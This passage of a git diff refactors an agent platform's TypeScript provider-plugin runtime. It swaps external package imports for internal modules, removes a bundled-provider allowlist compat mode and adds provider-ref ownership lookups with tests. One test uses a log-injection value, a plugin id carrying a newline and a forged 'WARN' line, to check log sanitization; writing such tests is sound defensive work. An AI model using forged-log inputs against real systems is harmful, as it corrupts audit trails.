params.provider, + modelId, + config: params.config ?? params.runtimeHandle?.config, + workspaceDir: params.workspaceDir ?? params.runtimeHandle?.workspaceDir, + env: params.env ?? params.runtimeHandle?.env, + applyAutoEnable: params.runtimeHandle?.applyAutoEnable, + bundledProviderVitestCompat: params.runtimeHandle?.bundledProviderVitestCompat, + }); + } + return params.runtimeHandle; } export function prepareProviderExtraParams(params: { diff --git a/src/plugins/provider-model-compat.ts b/src/plugins/provider-model-compat.ts index 9f8dc2ccd3e..578feb1e285 100644 --- a/src/plugins/provider-model-compat.ts +++ b/src/plugins/provider-model-compat.ts @@ -1,6 +1,6 @@ -import type { Api, Model } from "@earendil-works/pi-ai"; import { detectOpenAICompletionsCompat } from "../agents/openai-completions-compat.js"; import type { ModelCompatConfig } from "../config/types.models.js"; +import type { Model } from "../llm/types.js"; import { normalizeStringEntries } from "../shared/string-normalization.js"; export function extractModelCompat( @@ -74,11 +74,11 @@ export function shouldOmitEmptyArrayItems( return compat?.omitEmptyArrayItems === true; } -function isOpenAiCompletionsModel(model: Model): model is Model<"openai-completions"> { +function isOpenAiCompletionsModel(model: Model): model is Model<"openai-completions"> { return model.api === "openai-completions"; } -function isAnthropicMessagesModel(model: Model): model is Model<"anthropic-messages"> { +function isAnthropicMessagesModel(model: Model): model is Model<"anthropic-messages"> { return model.api === "anthropic-messages"; } @@ -86,7 +86,7 @@ function normalizeAnthropicBaseUrl(baseUrl: string): string { return baseUrl.replace(/\/v1\/?$/, ""); } -export function normalizeModelCompat(model: Model): Model { +export function normalizeModelCompat(model: Model): Model { const baseUrl = model.baseUrl ?? ""; if (isAnthropicMessagesModel(model) && baseUrl) { diff --git a/src/plugins/provider-model-helpers.test.ts b/src/plugins/provider-model-helpers.test.ts index dab89a4cd8b..7f20a7ff3c4 100644 --- a/src/plugins/provider-model-helpers.test.ts +++ b/src/plugins/provider-model-helpers.test.ts @@ -1,4 +1,4 @@ -import type { ModelRegistry } from "@earendil-works/pi-coding-agent"; +import type { ModelRegistry } from "openclaw/plugin-sdk/agent-sessions"; import { describe, expect, it } from "vitest"; import { cloneFirstTemplateModel, matchesExactOrPrefix } from "./provider-model-helpers.js"; import type { ProviderRuntimeModel } from "./provider-runtime-model.types.js"; diff --git a/src/plugins/provider-openai-codex-oauth.test.ts b/src/plugins/provider-openai-codex-oauth.test.ts index 5dccbe478c9..a7499f627c8 100644 --- a/src/plugins/provider-openai-codex-oauth.test.ts +++ b/src/plugins/provider-openai-codex-oauth.test.ts @@ -8,10 +8,8 @@ const mocks = vi.hoisted(() => ({ formatOpenAIOAuthTlsPreflightFix: vi.fn(), })); -vi.mock("@earendil-works/pi-ai/oauth", async () => { - const actual = await vi.importActual( - "@earendil-works/pi-ai/oauth", - ); +vi.mock("../llm/oauth.js", async () => { + const actual = await vi.importActual("../llm/oauth.js"); return { ...actual, loginOpenAICodex: mocks.loginOpenAICodex, @@ -136,7 +134,7 @@ describe("loginOpenAICodexOAuth", () => { expect(runtime.error).not.toHaveBeenCalled(); }); - it("passes through Pi-provided authorize URLs without mutation", async () => { + it("passes through runtime-provided authorize URLs without mutation", async () => { const creds = createCodexCredentials(); mocks.loginOpenAICodex.mockImplementation( async (opts: { onAuth: (event: { url: string }) => Promise }) => { diff --git a/src/plugins/provider-openai-codex-oauth.ts b/src/plugins/provider-openai-codex-oauth.ts index 6b6e2f4b4f3..7fb5f6e3665 100644 --- a/src/plugins/provider-openai-codex-oauth.ts +++ b/src/plugins/provider-openai-codex-oauth.ts @@ -1,6 +1,6 @@ -import { loginOpenAICodex, type OAuthCredentials } from "@earendil-works/pi-ai/oauth"; import { formatErrorMessage } from "../infra/errors.js"; import { ensureGlobalUndiciEnvProxyDispatcher } from "../infra/net/undici-global-dispatcher.js"; +import { loginOpenAICodex, type OAuthCredentials } from "../llm/oauth.js"; import type { RuntimeEnv } from "../runtime.js"; import type { WizardPrompter } from "../wizard/prompts.js"; import type { OAuthPrompt } from "./provider-oauth-flow.js"; diff --git a/src/plugins/provider-replay-helpers.ts b/src/plugins/provider-replay-helpers.ts index 2180dbd4d24..46765d63e7a 100644 --- a/src/plugins/provider-replay-helpers.ts +++ b/src/plugins/provider-replay-helpers.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "../agents/runtime/index.js"; import { isGemma4ModelId } from "../shared/google-models.js"; import { sanitizeGoogleAssistantFirstOrdering } from "../shared/google-turn-ordering.js"; import { normalizeLowercaseStringOrEmpty } from "../shared/string-coerce.js"; diff --git a/src/plugins/provider-runtime-model.types.ts b/src/plugins/provider-runtime-model.types.ts index d58107cf532..a4d2d621750 100644 --- a/src/plugins/provider-runtime-model.types.ts +++ b/src/plugins/provider-runtime-model.types.ts @@ -1,11 +1,11 @@ -import type { Api, Model } from "@earendil-works/pi-ai"; import type { ModelCompatConfig, ModelMediaInputConfig } from "../config/types.models.js"; +import type { Model } from "openclaw/plugin-sdk/llm"; /** * Fully-resolved runtime model shape used after provider/plugin-owned * discovery, overrides, and compat normalization. */ -export type ProviderRuntimeModel = Omit, "compat"> & { +export type ProviderRuntimeModel = Omit & { compat?: ModelCompatConfig; contextTokens?: number; params?: Record; diff --git a/src/plugins/provider-runtime.synthetic-auth-discovery.test.ts b/src/plugins/provider-runtime.synthetic-auth-discovery.test.ts index edd63cb449e..eac5d8fdb91 100644 --- a/src/plugins/provider-runtime.synthetic-auth-discovery.test.ts +++ b/src/plugins/provider-runtime.synthetic-auth-discovery.test.ts @@ -52,17 +52,22 @@ vi.mock("./provider-discovery.runtime.js", () => ({ resolvePluginDiscoveryProvidersRuntime, })); -vi.mock("./providers.js", () => ({ - resolveCatalogHookProviderPluginIds: vi.fn(() => []), - resolveExternalAuthProfileCompatFallbackPluginIds: vi.fn(() => []), - resolveExternalAuthProfileProviderPluginIds: vi.fn(() => []), - resolveOwningPluginIdsForProvider: vi.fn(({ provider }: { provider: string }) => +const resolveProviderOwnerIds = vi.hoisted(() => + vi.fn(({ provider }: { provider: string }) => provider === "ollama" ? ["ollama"] : provider === "anthropic-vertex" ? ["anthropic-vertex"] : [], ), +); + +vi.mock("./providers.js", () => ({ + resolveCatalogHookProviderPluginIds: vi.fn(() => []), + resolveExternalAuthProfileCompatFallbackPluginIds: vi.fn(() => []), + resolveExternalAuthProfileProviderPluginIds: vi.fn(() => []), + resolveOwningPluginIdsForProvider: resolveProviderOwnerIds, + resolveOwningPluginIdsForProviderRef: resolveProviderOwnerIds, })); import { resolveProviderSyntheticAuthWithPlugin } from "./provider-runtime.js"; diff --git a/src/plugins/provider-runtime.test.ts b/src/plugins/provider-runtime.test.ts index d0f45881561..d18264be26d 100644 --- a/src/plugins/provider-runtime.test.ts +++ b/src/plugins/provider-runtime.test.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; import type { ModelProviderConfig, OpenClawConfig } from "../config/types.js"; import type { ProviderRuntimeModel } from "./provider-runtime-model.types.js"; @@ -58,7 +58,6 @@ let classifyProviderFailoverReasonWithPlugin: typeof import("./provider-runtime. let matchesProviderContextOverflowWithPlugin: typeof import("./provider-runtime.js").matchesProviderContextOverflowWithPlugin; let normalizeProviderConfigWithPlugin: typeof import("./provider-runtime.js").normalizeProviderConfigWithPlugin; let normalizeProviderModelIdWithPlugin: typeof import("./provider-runtime.js").normalizeProviderModelIdWithPlugin; -let applyProviderResolvedModelCompatWithPlugins: typeof import("./provider-runtime.js").applyProviderResolvedModelCompatWithPlugins; let applyProviderResolvedTransportWithPlugin: typeof import("./provider-runtime.js").applyProviderResolvedTransportWithPlugin; let normalizeProviderTransportWithPlugin: typeof import("./provider-runtime.js").normalizeProviderTransportWithPlugin; let prepareProviderExtraParams: typeof import("./provider-runtime.js").prepareProviderExtraParams; @@ -206,7 +205,6 @@ function expectProviderRuntimePluginLoad(params: { provider: string; expectedPlu expect(plugin?.id).toBe(params.expectedPluginId); expectRecordFields(getLastResolvePluginProvidersParams(), { providerRefs: [params.provider], - bundledProviderAllowlistCompat: true, bundledProviderVitestCompat: true, }); } @@ -298,6 +296,8 @@ describe("provider-runtime", () => { resolveExternalAuthProfileProviderPluginIdsMock(params as never), resolveOwningPluginIdsForProvider: (params: unknown) => resolveOwningPluginIdsForProviderMock(params as never), + resolveOwningPluginIdsForProviderRef: (params: unknown) => + resolveOwningPluginIdsForProviderMock(params as never), })); vi.doMock("./providers.runtime.js", () => ({ resolvePluginProviders: (params: unknown) => resolvePluginProvidersMock(params as never), @@ -319,7 +319,6 @@ describe("provider-runtime", () => { buildProviderUnknownModelHintWithPlugin, applyProviderNativeStreamingUsageCompatWithPlugin, applyProviderConfigDefaultsWithPlugin, - applyProviderResolvedModelCompatWithPlugins, applyProviderResolvedTransportWithPlugin, classifyProviderFailoverReasonWithPlugin, formatProviderAuthProfileApiKeyWithPlugin, @@ -418,6 +417,92 @@ describe("provider-runtime", () => { }); }); + it("passes model refs for cli-backend runtime hook lookup", () => { + resolvePluginProvidersMock.mockReturnValue([ + { + id: "anthropic", + label: "Anthropic", + hookAliases: ["claude-cli"], + auth: [], + }, + ]); + + const plugin = resolveProviderRuntimePlugin({ + provider: "claude-cli", + modelId: "claude-sonnet-4-6", + }); + + expect(plugin?.id).toBe("anthropic"); + expectRecordFields(getLastResolvePluginProvidersParams(), { + providerRefs: ["claude-cli"], + modelRefs: ["claude-cli/claude-sonnet-4-6", "claude-sonnet-4-6"], + }); + }); + + it("derives model refs from runtime hook contexts", () => { + const createStreamFn = vi.fn(); + resolvePluginProvidersMock.mockReturnValue([ + { + id: "anthropic", + label: "Anthropic", + hookAliases: ["claude-cli"], + auth: [], + createStreamFn, + }, + ]); + + resolveProviderStreamFn({ + provider: "claude-cli", + context: { + config: undefined, + provider: "claude-cli", + modelId: "claude-sonnet-4-6", + model: MODEL, + }, + }); + + expect(createStreamFn).toHaveBeenCalledOnce(); + expectRecordFields(getLastResolvePluginProvidersParams(), { + providerRefs: ["claude-cli"], + modelRefs: ["claude-cli/claude-sonnet-4-6", "claude-sonnet-4-6"], + }); + }); + + it("retries empty runtime handles with context model refs", () => { + const resolveSystemPromptContribution = vi.fn(() => ({ + stablePrefix: "anthropic cli prompt", + })); + resolvePluginProvidersMock.mockReturnValue([ + { + id: "anthropic", + label: "Anthropic", + hookAliases: ["claude-cli"], + auth: [], + resolveSystemPromptContribution, + }, + ]); + + const contribution = resolveProviderSystemPromptContribution({ + provider: "claude-cli", + runtimeHandle: { + provider: "claude-cli", + plugin: undefined, + }, + context: { + provider: "claude-cli", + modelId: "claude-sonnet-4-6", + promptMode: "full", + }, + }); + + expect(contribution?.stablePrefix).toBe("anthropic cli prompt"); + expect(resolveSystemPromptContribution).toHaveBeenCalledOnce(); + expectRecordFields(getLastResolvePluginProvidersParams(), { + providerRefs: ["claude-cli"], + modelRefs: ["claude-cli/claude-sonnet-4-6", "claude-sonnet-4-6"], + }); + }); + it("uses the active startup registry for provider hook lookup", () => { const provider: ProviderPlugin = { id: DEMO_PROVIDER_ID, @@ -730,9 +815,7 @@ describe("provider-runtime", () => { }), }; resolvePluginProvidersMock.mockImplementation((params) => - params.applyAutoEnable === false && - params.bundledProviderAllowlistCompat === false && - params.bundledProviderVitestCompat === false + params.applyAutoEnable === false && params.bundledProviderVitestCompat === false ? [] : [runtimeProvider], ); @@ -768,7 +851,7 @@ describe("provider-runtime", () => { expect(resolvePluginProvidersMock).not.toHaveBeenCalled(); }); - it("warns once with a log-safe plugin id for undeclared external auth fallback plugins", () => { + it("keeps the deprecated external OAuth fallback at the plugin boundary", () => { const unsafePluginId = "legacy-provider\nWARN forged"; resolveExternalAuthProfileCompatFallbackPluginIdsMock.mockReturnValue([unsafePluginId]); resolvePluginProvidersMock.mockReturnValue([ @@ -809,7 +892,7 @@ describe("provider-runtime", () => { expect(warning).not.toContain("\n"); }); - it("does not warn for declared external auth plugins with different provider ids", () => { + it("resolves declared external auth plugins with different provider ids", () => { resolveExternalAuthProfileProviderPluginIdsMock.mockReturnValue(["demo-plugin"]); resolvePluginProvidersMock.mockReturnValue([ { @@ -840,7 +923,6 @@ describe("provider-runtime", () => { }, }); expect(profile?.profileId).toBe("demo-provider:external"); - expect(providerRuntimeWarnMock).not.toHaveBeenCalled(); }); it("resolves catalog hook provider loads when only non-plugin config changes", async () => { @@ -1976,13 +2058,6 @@ describe("provider-runtime", () => { api: "openai-codex-responses", }); - expect( - applyProviderResolvedModelCompatWithPlugins({ - provider: DEMO_PROVIDER_ID, - context: createDemoResolvedModelContext({}), - }), - ).toBeUndefined(); - expect( formatProviderAuthProfileApiKeyWithPlugin({ provider: DEMO_PROVIDER_ID, @@ -2207,50 +2282,6 @@ describe("provider-runtime", () => { ]); }); - it("merges compat contributions from owner and foreign provider plugins", () => { - resolvePluginProvidersMock.mockImplementation((params) => { - const onlyPluginIds = params.onlyPluginIds ?? []; - const plugins: ProviderPlugin[] = [ - { - id: "openrouter", - label: "OpenRouter", - auth: [], - contributeResolvedModelCompat: () => ({ supportsStrictMode: true }), - }, - { - id: "mistral", - label: "Mistral", - auth: [], - contributeResolvedModelCompat: ({ modelId }) => - modelId.startsWith("mistralai/") ? { supportsStore: false } : undefined, - }, - ]; - return onlyPluginIds.length > 0 - ? plugins.filter((plugin) => onlyPluginIds.includes(plugin.id)) - : plugins; - }); - - expect( - applyProviderResolvedModelCompatWithPlugins({ - provider: "openrouter", - context: createDemoResolvedModelContext({ - provider: "openrouter", - modelId: "mistralai/mistral-small-3.2-24b-instruct", - model: { - ...MODEL, - provider: "openrouter", - id: "mistralai/mistral-small-3.2-24b-instruct", - compat: { supportsDeveloperRole: false }, - }, - }), - })?.compat, - ).toEqual({ - supportsDeveloperRole: false, - supportsStrictMode: true, - supportsStore: false, - }); - }); - it("applies foreign transport normalization for custom provider hosts", () => { resolvePluginProvidersMock.mockImplementation((params) => { const onlyPluginIds = params.onlyPluginIds ?? []; diff --git a/src/plugins/provider-runtime.ts b/src/plugins/provider-runtime.ts index 28a574a80d0..8209bfd6027 100644 --- a/src/plugins/provider-runtime.ts +++ b/src/plugins/provider-runtime.ts @@ -37,6 +37,7 @@ import { resolveExternalAuthProfileCompatFallbackPluginIds, resolveExternalAuthProfileProviderPluginIds, resolveOwningPluginIdsForProvider, + resolveOwningPluginIdsForProviderRef, } from "./providers.js"; import { getActivePluginRegistryWorkspaceDirFromState } from "./runtime-state.js"; import { resolveRuntimeTextTransforms } from "./text-transforms.runtime.js"; @@ -66,6 +67,7 @@ import type { ProviderModernModelPolicyContext, ProviderPrepareDynamicModelContext, ProviderPreferRuntimeResolvedModelContext, + ProviderPlugin, ProviderResolveExternalAuthProfilesContext, ProviderResolveExternalOAuthProfilesContext, ProviderPrepareRuntimeAuthContext, @@ -73,7 +75,6 @@ import type { ProviderResolveConfigApiKeyContext, ProviderSanitizeReplayHistoryContext, ProviderResolveUsageAuthContext, - ProviderPlugin, ProviderResolveDynamicModelContext, ProviderResolveTransportTurnStateContext, ProviderResolveWebSocketSessionPolicyContext, @@ -143,10 +144,6 @@ function hasExplicitProviderRuntimePluginActivation(params: { return ownerPluginIds.some((pluginId) => allow.has(pluginId) || entries[pluginId] !== undefined); } -function resetExternalAuthFallbackWarningCacheForTest(): void { - warnedExternalAuthFallbackPluginIds.clear(); -} - export { prepareProviderExtraParams, resolveProviderAuthProfileId, @@ -156,6 +153,10 @@ export { wrapProviderStreamFn, }; +function resetExternalAuthFallbackWarningCacheForTest(): void { + warnedExternalAuthFallbackPluginIds.clear(); +} + export const testing = { clearProviderRuntimePluginCacheForTest, resetExternalAuthFallbackWarningCacheForTest, @@ -321,79 +322,6 @@ export function normalizeProviderResolvedModelWithPlugin(params: { ); } -function resolveProviderCompatHookPlugins(params: { - provider: string; - config?: OpenClawConfig; - workspaceDir?: string; - env?: NodeJS.ProcessEnv; -}): ProviderPlugin[] { - const candidates = resolveProviderPluginsForHooks(params); - const owner = resolveProviderRuntimePlugin(params); - if (!owner) { - return candidates; - } - - const ordered = [owner, ...candidates]; - const seen = new Set(); - return ordered.filter((candidate) => { - const key = `${candidate.pluginId ?? ""}:${candidate.id}`; - if (seen.has(key)) { - return false; - } - seen.add(key); - return true; - }); -} - -function applyCompatPatchToModel( - model: ProviderRuntimeModel, - patch: Record, -): ProviderRuntimeModel { - const compat = - model.compat && typeof model.compat === "object" - ? (model.compat as Record) - : undefined; - if (Object.entries(patch).every(([key, value]) => compat?.[key] === value)) { - return model; - } - return { - ...model, - compat: { - ...compat, - ...patch, - }, - }; -} - -export function applyProviderResolvedModelCompatWithPlugins(params: { - provider: string; - config?: OpenClawConfig; - workspaceDir?: string; - env?: NodeJS.ProcessEnv; - context: ProviderNormalizeResolvedModelContext; -}): ProviderRuntimeModel | undefined { - let nextModel = params.context.model; - let changed = false; - - for (const plugin of resolveProviderCompatHookPlugins(params)) { - const patch = plugin.contributeResolvedModelCompat?.({ - ...params.context, - model: nextModel, - }); - if (!patch || typeof patch !== "object") { - continue; - } - const patchedModel = applyCompatPatchToModel(nextModel, patch as Record); - if (patchedModel === nextModel) { - continue; - } - nextModel = patchedModel; - changed = true; - } - - return changed ? nextModel : undefined; -} - export function applyProviderResolvedTransportWithPlugin(params: { provider: string; config?: OpenClawConfig; @@ -872,7 +800,7 @@ export function resolveProviderSyntheticAuthWithPlugin(params: { ...new Set( providerRefs.flatMap( (provider) => - resolveOwningPluginIdsForProvider({ + resolveOwningPluginIdsForProviderRef({ provider, config: params.config, workspaceDir: params.workspaceDir, @@ -898,7 +826,6 @@ export function resolveProviderSyntheticAuthWithPlugin(params: { const runtimeResolved = resolveProviderRuntimePlugin({ ...params, applyAutoEnable: false, - bundledProviderAllowlistCompat: false, bundledProviderVitestCompat: false, })?.resolveSyntheticAuth?.(params.context); if (runtimeResolved) { @@ -912,7 +839,6 @@ export function resolveProviderSyntheticAuthWithPlugin(params: { ...params, provider: providerRef, applyAutoEnable: false, - bundledProviderAllowlistCompat: false, bundledProviderVitestCompat: false, })?.resolveSyntheticAuth?.(params.context); if (runtimeProviderResolved) { @@ -978,9 +904,6 @@ export function resolveExternalAuthProfilesWithPlugins(params: { const pluginId = plugin.pluginId ?? plugin.id; if (!declaredPluginIds.has(pluginId) && !warnedExternalAuthFallbackPluginIds.has(pluginId)) { warnedExternalAuthFallbackPluginIds.add(pluginId); - // Deprecated compatibility path for plugins that still implement - // resolveExternalOAuthProfiles or omit contracts.externalAuthProviders. - // Remove this warning with the fallback resolver after the migration window. log.warn( `Provider plugin "${sanitizeForLog(pluginId)}" uses external auth hooks without declaring contracts.externalAuthProviders. This compatibility fallback is deprecated and will be removed in a future release.`, ); @@ -1040,4 +963,3 @@ export async function augmentModelCatalogWithProviderPlugins(params: { } return supplemental; } -export { testing as __testing }; diff --git a/src/plugins/providers.runtime.ts b/src/plugins/providers.runtime.ts index 5984bd03f81..7a996c0721a 100644 --- a/src/plugins/providers.runtime.ts +++ b/src/plugins/providers.runtime.ts @@ -20,8 +20,8 @@ import { resolveDiscoveredProviderPluginIds, resolveEnabledProviderPluginIds, resolveBundledProviderCompatPluginIds, - resolveOwningPluginIdsForProvider, resolveOwningPluginIdsForModelRefs, + resolveOwningPluginIdsForProviderRef, withBundledProviderVitestCompat, } from "./providers.js"; import { getActivePluginRegistryWorkspaceDir } from "./runtime.js"; @@ -77,21 +77,9 @@ function resolveExplicitProviderOwnerPluginIds( if (apiOwnerPluginIds.length > 0) { return apiOwnerPluginIds; } - const legacyApiOwnerPluginIds = resolveOwningPluginIdsForProvider({ - provider: apiOwnerHint, - config: params.config, - workspaceDir: params.workspaceDir, - env: params.env, - manifestRegistry: snapshot.manifestRegistry, - }); - if (legacyApiOwnerPluginIds?.length) { - return legacyApiOwnerPluginIds; - } } - // Keep legacy provider/CLI-backend ownership working until every owner is - // expressible through activation descriptors. return ( - resolveOwningPluginIdsForProvider({ + resolveOwningPluginIdsForProviderRef({ provider, config: params.config, workspaceDir: params.workspaceDir, @@ -252,8 +240,6 @@ function resolveRuntimeProviderPluginLoadState( onlyPluginIds: runtimeRequestedPluginIds, applyAutoEnable: params.applyAutoEnable ?? true, compatMode: { - allowlist: params.bundledProviderAllowlistCompat, - enablement: "allowlist", vitest: params.bundledProviderVitestCompat, }, resolveCompatPluginIds: (compatParams) => @@ -329,7 +315,6 @@ export function resolvePluginProviders(params: { workspaceDir?: string; /** Use an explicit env when plugin roots should resolve independently from process.env. */ env?: PluginLoadOptions["env"]; - bundledProviderAllowlistCompat?: boolean; bundledProviderVitestCompat?: boolean; onlyPluginIds?: string[]; providerRefs?: readonly string[]; diff --git a/src/plugins/providers.test.ts b/src/plugins/providers.test.ts index 2a4c877fd0e..3c5a7e62007 100644 --- a/src/plugins/providers.test.ts +++ b/src/plugins/providers.test.ts @@ -32,6 +32,7 @@ const loadPluginMetadataSnapshotMock = vi.fn(); const applyPluginAutoEnableMock = vi.fn(); let resolveOwningPluginIdsForProvider: typeof import("./providers.js").resolveOwningPluginIdsForProvider; +let resolveOwningPluginIdsForProviderRef: typeof import("./providers.js").resolveOwningPluginIdsForProviderRef; let resolveOwningPluginIdsForModelRef: typeof import("./providers.js").resolveOwningPluginIdsForModelRef; let resolveActivatableProviderOwnerPluginIds: typeof import("./providers.js").resolveActivatableProviderOwnerPluginIds; let resolveEnabledProviderPluginIds: typeof import("./providers.js").resolveEnabledProviderPluginIds; @@ -244,10 +245,6 @@ function getLastRuntimeRegistryCall(): Record { >; } -function cloneOptions(value: T): T { - return structuredClone(value); -} - function expectRecordFields(record: unknown, expected: Record) { if (!record || typeof record !== "object") { throw new Error("Expected record"); @@ -374,19 +371,6 @@ function getLastSetupLoadedPluginConfig() { | undefined; } -function createBundledProviderCompatOptions(params?: { onlyPluginIds?: readonly string[] }) { - return { - config: { - plugins: { - allow: ["openrouter"], - bundledDiscovery: "compat" as const, - }, - }, - bundledProviderAllowlistCompat: true, - ...(params?.onlyPluginIds !== undefined ? { onlyPluginIds: params.onlyPluginIds } : {}), - }; -} - function createAutoEnabledProviderConfig() { const rawConfig: OpenClawConfig = { plugins: {}, @@ -511,6 +495,7 @@ describe("resolvePluginProviders", () => { ({ resolveActivatableProviderOwnerPluginIds, resolveOwningPluginIdsForProvider, + resolveOwningPluginIdsForProviderRef, resolveOwningPluginIdsForModelRef, resolveEnabledProviderPluginIds, resolveCatalogHookProviderPluginIds, @@ -523,14 +508,14 @@ describe("resolvePluginProviders", () => { ({ setActivePluginRegistry } = await import("./runtime.js")); }); - it("maps cli backend ids to owning plugin ids via manifests", () => { + it("does not treat cli backend ids as provider owners", () => { setOwningProviderManifestPlugins(); - expectOwningPluginIds("claude-cli", ["anthropic"]); + expectOwningPluginIds("claude-cli"); expectOwningPluginIds("codex-cli"); }); - it("maps setup-only cli backend ids to owning plugin ids via manifests", () => { + it("maps setup-only cli backend ids to explicit provider refs via manifests", () => { setManifestPlugins([ createManifestProviderPlugin({ id: "setup-only-backend-owner", @@ -539,7 +524,40 @@ describe("resolvePluginProviders", () => { }), ]); - expectOwningPluginIds("setup-only-cli", ["setup-only-backend-owner"]); + expectOwningPluginIds("setup-only-cli"); + expect(resolveOwningPluginIdsForProviderRef({ provider: "setup-only-cli" })).toEqual([ + "setup-only-backend-owner", + ]); + }); + + it("maps explicit provider refs to provider or cli-backend owners", () => { + setOwningProviderManifestPlugins(); + + expect(resolveOwningPluginIdsForProviderRef({ provider: "claude-cli" })).toEqual(["anthropic"]); + }); + + it("maps explicit cli-backend model refs to owning plugin ids", () => { + setOwningProviderManifestPlugins(); + + expectModelOwningPluginIds("claude-cli/claude-sonnet-4-6", ["anthropic"]); + }); + + it("maps manifest model catalog provider aliases to owning plugin ids", () => { + setManifestPlugins([ + createManifestProviderPlugin({ + id: "moonshot", + providerIds: ["moonshot"], + modelCatalog: { + aliases: { + moonshotai: { provider: "moonshot" }, + "moonshot-ai": { provider: "moonshot" }, + }, + }, + }), + ]); + + expectOwningPluginIds("moonshotai", ["moonshot"]); + expectOwningPluginIds("moonshot-ai", ["moonshot"]); }); it("reflects provider ownership manifest changes on the next lookup", () => { @@ -704,7 +722,7 @@ describe("resolvePluginProviders", () => { expect(resolveRuntimePluginRegistryMock).not.toHaveBeenCalled(); }); - it("reuses declared external auth plugin ids for compat fallback filtering", () => { + it("keeps undeclared external auth provider fallback scoped to active external providers", () => { setManifestPlugins([ createManifestProviderPlugin({ id: "declared-auth-owner", @@ -770,7 +788,7 @@ describe("resolvePluginProviders", () => { expect(discovered).toEqual(["openrouter"]); }); - it("returns all bundled provider plugins in explicit compat mode", () => { + it("filters bundled provider plugins through restrictive allowlists", () => { setManifestPlugins([ createManifestProviderPlugin({ id: "kilocode", @@ -796,13 +814,12 @@ describe("resolvePluginProviders", () => { config: { plugins: { allow: ["openrouter"], - bundledDiscovery: "compat", }, }, env: {} as NodeJS.ProcessEnv, }); - expect(discovered).toEqual(["kilocode", "moonshot", "openrouter"]); + expect(discovered).toEqual(["openrouter"]); }); it("treats explicit empty provider scopes as scoped-empty in provider helpers", () => { @@ -822,53 +839,6 @@ describe("resolvePluginProviders", () => { ).toStrictEqual([]); }); - it.each([ - { - name: "can augment restrictive allowlists for bundled provider compatibility", - options: createBundledProviderCompatOptions(), - expectedAllow: ["openrouter", "google", "kilocode", "moonshot"], - expectedEntries: { - google: { enabled: true }, - kilocode: { enabled: true }, - moonshot: { enabled: true }, - }, - }, - { - name: "does not reintroduce the retired google auth plugin id into compat allowlists", - options: createBundledProviderCompatOptions(), - expectedAllow: ["google"], - unexpectedAllow: ["google-gemini-cli-auth"], - }, - { - name: "does not inject non-bundled provider plugin ids into compat allowlists", - options: createBundledProviderCompatOptions(), - unexpectedAllow: ["workspace-provider"], - }, - { - name: "scopes bundled provider compat expansion to the requested plugin ids", - options: createBundledProviderCompatOptions({ - onlyPluginIds: ["moonshot"], - }), - expectedAllow: ["openrouter", "moonshot"], - unexpectedAllow: ["google", "kilocode"], - expectedOnlyPluginIds: ["moonshot"], - }, - ] as const)( - "$name", - ({ options, expectedAllow, expectedEntries, expectedOnlyPluginIds, unexpectedAllow }) => { - resolvePluginProviders( - cloneOptions(options) as unknown as Parameters[0], - ); - - expectResolvedAllowlistState({ - expectedAllow, - expectedEntries, - expectedOnlyPluginIds, - unexpectedAllow, - }); - }, - ); - it("can enable bundled provider plugins under Vitest when no explicit plugin config exists", () => { resolvePluginProviders({ env: { VITEST: "1" } as NodeJS.ProcessEnv, @@ -937,45 +907,13 @@ describe("resolvePluginProviders", () => { }); it("loads only provider plugins on the provider runtime path", () => { - resolvePluginProviders({ - bundledProviderAllowlistCompat: true, - }); + resolvePluginProviders({}); expectLastRuntimeRegistryLoad({ onlyPluginIds: ["google", "kilocode", "moonshot"], }); }); - it("includes present bundled providers in bundled compat expansion", () => { - setManifestPlugins([ - createManifestProviderPlugin({ - id: "google", - providerIds: ["google"], - }), - createManifestProviderPlugin({ - id: "codex", - providerIds: ["codex"], - }), - ]); - - resolvePluginProviders({ - config: { - plugins: { - allow: ["openrouter"], - bundledDiscovery: "compat", - }, - }, - bundledProviderAllowlistCompat: true, - }); - - expectResolvedAllowlistState({ - expectedAllow: ["openrouter", "google", "codex"], - }); - expectLastRuntimeRegistryLoad({ - onlyPluginIds: ["codex", "google"], - }); - }); - it("scopes setup provider plugin discovery to the allowlist by default", () => { resolvePluginProviders({ config: { @@ -998,108 +936,6 @@ describe("resolvePluginProviders", () => { }); }); - it("excludes untrusted workspace provider plugins from setup discovery by default", () => { - resolvePluginProviders({ - config: { - plugins: { - allow: ["openrouter"], - bundledDiscovery: "compat", - entries: { - google: { enabled: false }, - }, - }, - }, - mode: "setup", - }); - - expectLastSetupRegistryLoad({ - onlyPluginIds: ["google", "kilocode", "moonshot"], - }); - expectPluginConfigState(getLastSetupLoadedPluginConfig(), { - allow: ["openrouter", "google", "kilocode", "moonshot"], - entries: { - google: { enabled: false }, - kilocode: { enabled: true }, - moonshot: { enabled: true }, - }, - }); - }); - - it("loads explicitly included untrusted workspace provider plugins in setup discovery", () => { - resolvePluginProviders({ - config: { - plugins: { - allow: ["openrouter"], - bundledDiscovery: "compat", - }, - }, - mode: "setup", - includeUntrustedWorkspacePlugins: true, - }); - - expectLastSetupRegistryLoad({ - onlyPluginIds: ["google", "kilocode", "moonshot", "workspace-provider"], - }); - }); - - it("excludes untrusted workspace provider plugins from setup discovery when explicitly requested", () => { - resolvePluginProviders({ - config: { - plugins: { - allow: ["openrouter"], - bundledDiscovery: "compat", - }, - }, - mode: "setup", - includeUntrustedWorkspacePlugins: false, - }); - - expectLastSetupRegistryLoad({ - onlyPluginIds: ["google", "kilocode", "moonshot"], - }); - }); - - it("does not keep trusted but disabled workspace provider plugins eligible in setup discovery", () => { - resolvePluginProviders({ - config: { - plugins: { - allow: ["openrouter", "workspace-provider"], - bundledDiscovery: "compat", - entries: { - "workspace-provider": { enabled: false }, - }, - }, - }, - mode: "setup", - includeUntrustedWorkspacePlugins: false, - }); - - expectLastSetupRegistryLoad({ - onlyPluginIds: ["google", "kilocode", "moonshot"], - }); - }); - - it("does not include trusted-but-disabled workspace providers when denylist blocks them", () => { - resolvePluginProviders({ - config: { - plugins: { - allow: ["openrouter", "workspace-provider"], - bundledDiscovery: "compat", - deny: ["workspace-provider"], - entries: { - "workspace-provider": { enabled: false }, - }, - }, - }, - mode: "setup", - includeUntrustedWorkspacePlugins: false, - }); - - expectLastSetupRegistryLoad({ - onlyPluginIds: ["google", "kilocode", "moonshot"], - }); - }); - it("does not include workspace providers blocked by allowlist gating", () => { resolvePluginProviders({ config: { @@ -1595,7 